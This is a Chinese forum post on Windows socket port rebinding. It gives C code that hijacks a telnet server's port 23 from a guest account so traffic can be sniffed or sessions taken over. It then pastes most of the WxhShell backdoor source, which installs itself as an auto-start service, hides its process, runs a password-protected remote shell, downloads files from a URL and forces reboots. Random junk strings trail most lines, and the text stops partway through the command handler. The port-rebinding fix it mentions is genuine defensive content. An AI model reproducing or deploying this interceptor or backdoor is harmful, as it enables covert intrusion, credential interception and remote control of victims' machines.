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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rW3fd.;kss  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9Uh nr]J.  
"A9 c]  
  saddr.sin_family = AF_INET; cb~m==G  
n7Ia8?8-l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RpY#_\^hI  
_u`W$EG L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wD&b[i  
J&6]3x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z?-l-s K  
T/C1x9=?  
  这意味着什么?意味着可以进行如下的攻击: W1J7$   
(wIpq<%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ouUU(jj02  
\6${Na' \  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c =i6  
n _*k e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C zvi':  
}KHdlhD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -gV'z5  
W;C41>^?/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ",T-'>h$2R  
1jozM"H7Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <tg>1,C  
%/&?t`%H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &6 L{1  
r 6STc,%5  
  #include +d736lLe%  
  #include Sc*O_c3D  
  #include Rj=xn(@d  
  #include    qzqv-{.h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &u_f:Pog  
  int main() 6]^}GyM!  
  { ,tL<?6_  
  WORD wVersionRequested; L[*Xrp;/&  
  DWORD ret; I.\fhNxHY  
  WSADATA wsaData; O=St}B\!m  
  BOOL val; ;[@< ,  
  SOCKADDR_IN saddr; 5 !G}*u.  
  SOCKADDR_IN scaddr; ^1S(6'a#  
  int err;  P-QZ=dm  
  SOCKET s; ]W%<<S  
  SOCKET sc; v }ZQC8wL  
  int caddsize; eg-,;X#  
  HANDLE mt; jC<!Ny-$  
  DWORD tid;   ``}EbOMG  
  wVersionRequested = MAKEWORD( 2, 2 ); 8:,l+[\  
  err = WSAStartup( wVersionRequested, &wsaData ); X] &Q^  
  if ( err != 0 ) { m>'sM1s  
  printf("error!WSAStartup failed!\n"); fgP_NYfOj  
  return -1; <gKT7ONtg  
  } b^\u P  
  saddr.sin_family = AF_INET;   Hs8c%C  
   ><[($Gq`g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,P<n\(DQ  
a<M<) {$u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^60BQ{ne  
  saddr.sin_port = htons(23); iFW)}_.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V Z;ASA?;  
  { -[4Xg!apO  
  printf("error!socket failed!\n"); @%K@oDL  
  return -1; (&FSoe/!['  
  } Cv|ya$}a  
  val = TRUE; Q%(LMq4UG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W^q;=D6uh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |[?"$g9v  
  { +I7n6s\  
  printf("error!setsockopt failed!\n"); &/4W1=>(  
  return -1; wbzAX  
  } wEo/H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,&!Txyye  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n9Z|69W6>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A5zT^!`[  
'tp1|n/1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vO"Sy{)Z>  
  { Lz S@@']  
  ret=GetLastError(); RUmJ=i'4/  
  printf("error!bind failed!\n"); b&Qj`j4]ZM  
  return -1; e@6<mir[4  
  } / PAxPZf_  
  listen(s,2); xGJ{_M  
  while(1) o64&BpCK  
  { mV} peb  
  caddsize = sizeof(scaddr); &CFHH"OsT  
  //接受连接请求 z)r)w?A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bH&Cbme90-  
  if(sc!=INVALID_SOCKET) #m6 eG&a  
  { _U)DL=a'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); INsc!xOQ  
  if(mt==NULL) X6/k `J  
  { E/9 U0  
  printf("Thread Creat Failed!\n"); _ pM&Ya  
  break; XS]=sfN  
  } M& GA:`  
  } =usx' #rb  
  CloseHandle(mt); AW4N#gt8',  
  } 'c\zW mAZ  
  closesocket(s); JB a:))lw  
  WSACleanup(); h&||Ql1  
  return 0; _mKO4Atw  
  }   S,EXc^A7  
  DWORD WINAPI ClientThread(LPVOID lpParam) it!8+hvq9*  
  { 16[>af0<g  
  SOCKET ss = (SOCKET)lpParam; 0}k[s+^  
  SOCKET sc; ig] * Z  
  unsigned char buf[4096]; P'GX-H  
  SOCKADDR_IN saddr; TGGeTtk=  
  long num; j8!fzJG  
  DWORD val; [L8Bgw1  
  DWORD ret; _K>cB<+d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R}a,.C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s"<k) Xi  
  saddr.sin_family = AF_INET; MVK='  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NA>h$N  
  saddr.sin_port = htons(23); R 28v5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aHe/MucK  
  { 5@bLD P  
  printf("error!socket failed!\n"); s (J,TS#I]  
  return -1; B0NKav  
  } >Qz#;HI  
  val = 100; sXkWs2!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %p)6m 2Sb  
  { 7\'vSHIL  
  ret = GetLastError(); @;M( oFS9  
  return -1; 3Ln~"HwP  
  } V= U=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a;D{P`%n  
  { ~sshhuF  
  ret = GetLastError(); /cUcfe#X  
  return -1; (X@JlAfB  
  } 0: R}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .@Z qCH  
  { ~xpU<Pd*  
  printf("error!socket connect failed!\n"); hV])\t=yf  
  closesocket(sc); G0Smss=K  
  closesocket(ss); E8u :Fg s  
  return -1; }9 N, +*  
  } \1hbCv$Hf  
  while(1) u{yENZ^P  
  { [ /w{,+U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cHs@1R/-s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $R%xeih1fz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pHEhB9_A!  
  num = recv(ss,buf,4096,0); YA O, rh  
  if(num>0) Wo2TU!  
  send(sc,buf,num,0); 8i=J(5=  
  else if(num==0) 2ixg ix  
  break; }BS.OK?  
  num = recv(sc,buf,4096,0); %*lOzC  
  if(num>0) T~7i:<E^  
  send(ss,buf,num,0); 7R[4XQ%  
  else if(num==0) nellN}jYsM  
  break; ehl) {Dd^  
  } -$J\BkI  
  closesocket(ss); #"fBF/Q  
  closesocket(sc); N%%2!Z#  
  return 0 ; ;ajCnSmR  
  } N_lQz(nG/2  
la>:%SD  
;BUJ5  
========================================================== s3kHNDdC  
H%> E6rVB  
下边附上一个代码,,WXhSHELL G1z[v3T  
$Mm=5 K%  
========================================================== l7]:b8  
%>Z^BM<e  
#include "stdafx.h" l^w=b~|7=  
Nl,M9  
#include <stdio.h> xQ9P'ru  
#include <string.h> M?Tb9c?`  
#include <windows.h> T_|%n F-+  
#include <winsock2.h> '8K5=|!J  
#include <winsvc.h> i,1=5@rw5  
#include <urlmon.h> 2W:R{dHE  
S#6{4x4  
#pragma comment (lib, "Ws2_32.lib") Fxdu)F,~u  
#pragma comment (lib, "urlmon.lib") x1</%y5ev  
[Hw  
#define MAX_USER   100 // 最大客户端连接数 rXc-V},az8  
#define BUF_SOCK   200 // sock buffer L|.q19b*  
#define KEY_BUFF   255 // 输入 buffer 5wYYYo=  
=/Pmi_  
#define REBOOT     0   // 重启 v=e`e68U~  
#define SHUTDOWN   1   // 关机 `&2~\o/  
bD*V$w*P  
#define DEF_PORT   5000 // 监听端口 e\%+~GUTC=  
6&_"dg"  
#define REG_LEN     16   // 注册表键长度 PnkJ Wl<S  
#define SVC_LEN     80   // NT服务名长度 <0T5W#H`D  
4$.$j=Ct."  
// 从dll定义API GTL gj'B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "<ua G?:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iq2)oC_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '8\7(0$c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V/5.37FSb  
CZ"~N`  
// wxhshell配置信息 ?,uTH 4  
struct WSCFG { X-2rC  
  int ws_port;         // 监听端口 a,g3 /  
  char ws_passstr[REG_LEN]; // 口令 s\i:;`l:=5  
  int ws_autoins;       // 安装标记, 1=yes 0=no |& OW_*l  
  char ws_regname[REG_LEN]; // 注册表键名 |^9+c2   
  char ws_svcname[REG_LEN]; // 服务名 5Z"IM8?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G<n(\85X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A2>rS   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4j^-n_T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4.il4Qqy}i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X^;[X~g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %;ZWYj`]n  
w/_n$hX  
}; VQ wr8jXye  
" !43,!<  
// default Wxhshell configuration \ldjWc<S  
struct WSCFG wscfg={DEF_PORT, nF$n[:  
    "xuhuanlingzhe", z{XN1'/V  
    1, &c!d}pU}  
    "Wxhshell", 8axz`2`  
    "Wxhshell", !-%fCg(B  
            "WxhShell Service", I3sH8/*  
    "Wrsky Windows CmdShell Service", gwVfiXR4  
    "Please Input Your Password: ", wMFo8;L  
  1, -7jP'l=h  
  "http://www.wrsky.com/wxhshell.exe", J |4q9$  
  "Wxhshell.exe" n.9k<  
    }; vC$Q4>m  
HQPb  
// 消息定义模块 fXfBDB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4CAV)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4Uz1~AuNxb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h1O^~"x  
char *msg_ws_ext="\n\rExit."; Z{-x}${  
char *msg_ws_end="\n\rQuit."; Zx$q,Zo<  
char *msg_ws_boot="\n\rReboot..."; Gt;@. jY&  
char *msg_ws_poff="\n\rShutdown..."; oVi_X98R  
char *msg_ws_down="\n\rSave to "; a(Q4*XH4  
=2+';Xk\  
char *msg_ws_err="\n\rErr!"; 81?7u!=ic+  
char *msg_ws_ok="\n\rOK!"; x~1.;dBF  
T'YHV}b}vX  
char ExeFile[MAX_PATH]; kg@D?VqJP  
int nUser = 0; x1H?e8  
HANDLE handles[MAX_USER]; MtE18m "z  
int OsIsNt; :(IP rQ  
BC!n;IAe  
SERVICE_STATUS       serviceStatus; MV8Lk/zd?A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WH:[Y7D  
fpMnA  
// 函数声明 Jt-s6-2  
int Install(void); q\ihye  
int Uninstall(void); -I, _{3.S  
int DownloadFile(char *sURL, SOCKET wsh); iC U [X&  
int Boot(int flag); wLa^pI4p ^  
void HideProc(void); bXN-q!  
int GetOsVer(void); &5 *)r@+  
int Wxhshell(SOCKET wsl); TF\<`}akX  
void TalkWithClient(void *cs); 79.J`}#  
int CmdShell(SOCKET sock); 5f54E|vD  
int StartFromService(void); 8mjP2  
int StartWxhshell(LPSTR lpCmdLine); `i{k^Q  
e"jA#Y #  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  84PD`A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bYzBe\^3q3  
9&'I?D&8  
// 数据结构和表定义 pB @l+ n^  
SERVICE_TABLE_ENTRY DispatchTable[] = ^iaeY jI  
{ vBUl6EmWu  
{wscfg.ws_svcname, NTServiceMain}, OtopA)  
{NULL, NULL} ?nm:e.S+?  
}; !U02>X   
 KR  
// 自我安装 cQ4TYr;?  
int Install(void) Q@3.0Hf|{  
{ nMU#g])y)  
  char svExeFile[MAX_PATH]; 3t(8uG<rL  
  HKEY key; 47Y| 1  
  strcpy(svExeFile,ExeFile); Q37VhScs  
K#"@nVWJ.m  
// 如果是win9x系统,修改注册表设为自启动 eO,  
if(!OsIsNt) { /)8 0@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] =Js5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); //--r5Q  
  RegCloseKey(key); {$iJYS\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (xU+Y1*g"%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {Y5h*BD>  
  RegCloseKey(key); my#qmI  
  return 0; Isq3YY  
    } 9Ao0$|@b  
  } {GF>HHQb  
} ^qpa[6D6x  
else { vOYcS$,^X%  
.js4)$W^  
// 如果是NT以上系统,安装为系统服务 -;$+`<%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UQ|zSalv,  
if (schSCManager!=0) F"a^`E&  
{ PVO9KWv**  
  SC_HANDLE schService = CreateService *$(=I6b  
  ( $ Z;HE/ 3  
  schSCManager, QN(f8t(  
  wscfg.ws_svcname, 6'C!Au  
  wscfg.ws_svcdisp, #( nheL  
  SERVICE_ALL_ACCESS, X$JO<@x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K{VF_S:  
  SERVICE_AUTO_START, BfOG e!Si  
  SERVICE_ERROR_NORMAL,  =erA.u  
  svExeFile, Vvx(7p-GQ  
  NULL, X7kJWX  
  NULL, ;>=hQC{f>  
  NULL, |Sg *j-.  
  NULL, TGLkwXOkT  
  NULL oWyg/{M  
  ); [BhpfZNKRA  
  if (schService!=0) S&-sl   
  { sF;1)7]Pq  
  CloseServiceHandle(schService); +N[dYm  
  CloseServiceHandle(schSCManager); bcpH|}[F)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fga9  
  strcat(svExeFile,wscfg.ws_svcname); @{_PO{=\C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yZ:|wxVY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f/)3b`$Wu  
  RegCloseKey(key); Pi?*rr5WZ  
  return 0; KGUpXMd^Z  
    } 2h&pm   
  } ;J\{r$q  
  CloseServiceHandle(schSCManager); <YL\E v/[  
} kyJv,!};  
} wrG*1+r  
#)R;6"  
return 1; s)=L6t^a6  
} lGB7(  
X_ >B7(k   
// 自我卸载 ^OG^% x"  
int Uninstall(void) @n(=#Q3  
{ mUy/lo'4  
  HKEY key; Ao96[2U6  
f.jAJ; N>  
if(!OsIsNt) { 6o;lTOes  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ +{ ~ ^y7  
  RegDeleteValue(key,wscfg.ws_regname); 7\ff=L-b  
  RegCloseKey(key); }VR&*UJE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w & RpQcV  
  RegDeleteValue(key,wscfg.ws_regname); mQ%kGqs  
  RegCloseKey(key); 9+QLcb  
  return 0; NtTLvO6  
  } o\]e}+1[o  
} J=K3S9:n]g  
} z,rWj][P  
else { Cw{#(xX  
%o4d4 3uZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C`mXEX5  
if (schSCManager!=0) ^e>v{AE%  
{ 4v2(YJ%u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (kp}mSw  
  if (schService!=0) >\DXA)nc  
  { qUtVqS  
  if(DeleteService(schService)!=0) { XQ(`8Jl&^  
  CloseServiceHandle(schService); rvE!Q=y~  
  CloseServiceHandle(schSCManager); >^J!Z~;L)  
  return 0; lYw A5|+  
  } <Mc:Cg8>  
  CloseServiceHandle(schService); M`?/QU~  
  } LR)is  
  CloseServiceHandle(schSCManager); \yG_wZs  
} f`Wfw3  
} !hH6!G  
>Dtw^1i  
return 1; zm8m J2s  
} %aw/Y5  
tDN-I5q  
// 从指定url下载文件 !y] Y'j  
int DownloadFile(char *sURL, SOCKET wsh) &I(|aZx?J  
{ )%j)*Ymz;  
  HRESULT hr; ==FzkRA)  
char seps[]= "/"; X_!mZ\H7  
char *token; dN*<dz+4r  
char *file; +}+hTY$a  
char myURL[MAX_PATH]; #-lk=>  
char myFILE[MAX_PATH]; [/#n+sz.A  
%7|qnh6  
strcpy(myURL,sURL); 3b&W=1J  
  token=strtok(myURL,seps); }= <!j5:  
  while(token!=NULL) /asyj="N7  
  { &H4UVI  
    file=token; u|:VQzPd-  
  token=strtok(NULL,seps); P;_dil G  
  } jB1\L<P  
1~`g fHI4  
GetCurrentDirectory(MAX_PATH,myFILE); ] lO$oO  
strcat(myFILE, "\\"); A`N;vq,  
strcat(myFILE, file); ;,4J:zvZdQ  
  send(wsh,myFILE,strlen(myFILE),0); |u}sX5/q  
send(wsh,"...",3,0); Cn`% *w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4x C0Aw  
  if(hr==S_OK) *E. 2R{  
return 0; e@,L~ \  
else Fk9(FOFg  
return 1; Mvcl9  
F 1zc4l6  
} 9MYt4  
3p4bOT5  
// 系统电源模块 b5)>h  
int Boot(int flag) `GDYL7pM(  
{ PRah?|*0s  
  HANDLE hToken; ?=4t~\g?  
  TOKEN_PRIVILEGES tkp; ;q^YDZ'  
kXjpCtCu  
  if(OsIsNt) { v Cmh3TQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y zvtxX*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #xo&#FIH  
    tkp.PrivilegeCount = 1; (@#Lk"B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +es6c')  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %4-pw|':  
if(flag==REBOOT) { hBqu,A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U&/S  
  return 0; O71rLk;  
} T6,lk1S'=  
else { 0ND7F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O0l;Qi  
  return 0; ixH7oWH#  
} K*}j1A  
  } "nefRz%j+  
  else { ge?ymaU$a  
if(flag==REBOOT) { R 1b`(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VsMNi#?  
  return 0; Arv8P P^'  
} YOoP]0'L  
else { 1M{#"t{6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hWu)0t  
  return 0; 3gh^a;uC  
} OlJj|?z $  
} ]a%Kn]HI&2  
N~kYT\$b#  
return 1; P3|<K-dFAK  
} +]zP $5_e  
&tOD  
// win9x进程隐藏模块 g!8lW   
void HideProc(void) yLX#: nm  
{ .WPqK >79|  
Bx)&MYY}[[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LYF vzw>M  
  if ( hKernel != NULL ) -XyuA:pxx  
  { H}~^,B2;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OE"Bb   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *Wau7  
    FreeLibrary(hKernel);  M:$nL  
  } }.vy|^X  
s#fmGe"8  
return; <>oW f  
} X[ (J!"+  
R}Y=!qjYE=  
// 获取操作系统版本 :F\f}G3  
int GetOsVer(void) E;Hjw0M'k  
{ {cI<4><  
  OSVERSIONINFO winfo; J)-> 7h =  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A~>=l=  
  GetVersionEx(&winfo); y_&XF>k91  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~k(Ez pn#  
  return 1; qQ'@yTVN  
  else $gTPW,~s[  
  return 0; 5S? yj  
} m t^1[  
}{y$$X<:  
// 客户端句柄模块 BSf"'0I&  
int Wxhshell(SOCKET wsl) u\wd<<I']  
{ qh 3f  
  SOCKET wsh; xL"% 2nf  
  struct sockaddr_in client; hH/ O2  
  DWORD myID; hdL2`5RFF  
MO/N*4U2  
  while(nUser<MAX_USER) n}?G!ySg  
{ 7A6sSfPUy  
  int nSize=sizeof(client); }b(e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J5T#}!f  
  if(wsh==INVALID_SOCKET) return 1; BxU1Q&  
xTZ5q*Hqx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uSJP"Lw  
if(handles[nUser]==0) pAuwSn#i  
  closesocket(wsh); 5XHkRcESZ  
else {LDb*'5Cy  
  nUser++; h_L '_*  
  } eV0S:mit  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {[?|RC;\Y  
Biy 9jIWI  
  return 0; bg}77Y'^  
} *% *^a\2  
-c@ 5qe>  
// 关闭 socket PgAfR:Y!  
void CloseIt(SOCKET wsh) Ke'2"VkQt  
{ 9iCud6H,h  
closesocket(wsh); 6%#'X  
nUser--; -pu\p-Z  
ExitThread(0); |hM)e*"  
} !X8R  
BaAb4{  
// 客户端请求句柄 :nUsC+oBS  
void TalkWithClient(void *cs) bicL %I2h  
{ Fw m:c[G  
I "2FTGA  
  SOCKET wsh=(SOCKET)cs; 5.#9}]  
  char pwd[SVC_LEN]; >}*jsqaVU  
  char cmd[KEY_BUFF]; l)s+"C#  
char chr[1]; nj`q V  
int i,j; F4%[R)  
Wp3l>:  
  while (nUser < MAX_USER) { SGd.z6"H  
pe})A  
if(wscfg.ws_passstr) { J|24I4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iXRt9)MT{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VAE?={-  
  //ZeroMemory(pwd,KEY_BUFF); x^2/jUc#B  
      i=0; `h!&->  
  while(i<SVC_LEN) { Zr;=p"cXr  
Y{|yB  
  // 设置超时 q:EQ,  
  fd_set FdRead; 2kq@*}ys  
  struct timeval TimeOut; 8]\h^k4f  
  FD_ZERO(&FdRead); {fv8S;|u  
  FD_SET(wsh,&FdRead); oZ:F3 GQ4Q  
  TimeOut.tv_sec=8; ueBoSZRWX  
  TimeOut.tv_usec=0; {{%8|+B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MToQ8qKs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .G~5F- 8'  
'LLx$y.Ei[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #%"TU,[+  
  pwd=chr[0]; UO<claV  
  if(chr[0]==0xd || chr[0]==0xa) { R7c)C8/~  
  pwd=0; *AR<DXE L  
  break; -yGm^EwP  
  } 1>y=i+T/b  
  i++; g GT,PP(k  
    } 'a?.X _t  
gGml c:/J%  
  // 如果是非法用户,关闭 socket !bQ &n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F)ld@Ydk=  
} mm<iT59  
'TsZuZW]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H)aC'M^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @zF:{=+]+  
-xIhN?r)  
while(1) { < DZ76  
EoR6Rx@Z  
  ZeroMemory(cmd,KEY_BUFF); vcU\xk")  
6XK`=ss?  
      // 自动支持客户端 telnet标准   %P,^}h7  
  j=0; 4$GRCq5N;  
  while(j<KEY_BUFF) { A;a(n\Sy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /~cL L  
  cmd[j]=chr[0]; Sc 3M#qm_  
  if(chr[0]==0xa || chr[0]==0xd) { E(+wl  
  cmd[j]=0; -0WCwv  
  break; psy(]Pf  
  } Nw& }qSN  
  j++; W(lKR_pF  
    } oe|<xWu  
qgsE7 ]  
  // 下载文件 "d>g)rvOc  
  if(strstr(cmd,"http://")) { ]m#MwN$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A""*vqA  
  if(DownloadFile(cmd,wsh)) <L ( =  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y"L`bl A9}  
  else O[p^lr(B7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0+y~RTAVB  
  } D)7$M]d%  
  else { 0QH3,Ps1C  
MXJ9,U{<C'  
    switch(cmd[0]) { P^m 6di  
  )r,R!8  
  // 帮助 &~A*(+S  
  case '?': { maEpT43f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FDs^S)B  
    break; jTUf4&b-  
  } $RNUr \9A  
  // 安装 a{Hb7&  
  case 'i': { IetGg{h.  
    if(Install()) VD&3%G!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?[1qC=[Z<  
    else 15T[J%7f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~nc([%!=  
    break; )'dH}3Ba  
    } R{KIkv  
  // 卸载 4|41^B5Y  
  case 'r': { ~ 9~\f  
    if(Uninstall()) n ,:.]3v%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JrWBcp:Y  
    else jo3}]KC !  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pH l2!{z  
    break; I&fh  
    } po2[uJ  
  // 显示 wxhshell 所在路径 `CEj 4  
  case 'p': { =>z tBw\  
    char svExeFile[MAX_PATH]; 4zfRD`;  
    strcpy(svExeFile,"\n\r"); aGk%I  
      strcat(svExeFile,ExeFile); U;Ll.BFP  
        send(wsh,svExeFile,strlen(svExeFile),0); grxl{uIC8  
    break; P:, x?T?J^  
    } T\ }v$A03  
  // 重启 ?-::{2O)  
  case 'b': { LSu^#B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >"<k8wn  
    if(Boot(REBOOT)) m_Ac/ct f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ao,!z  
    else { O][Nl^dl  
    closesocket(wsh); i$^B-  
    ExitThread(0); Q$h:[_v  
    } mV*/zWh_  
    break; 8u'O` j  
    } =6:L+ V  
  // 关机 T<e7(=  
  case 'd': { d:<H?~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MjXE|3&  
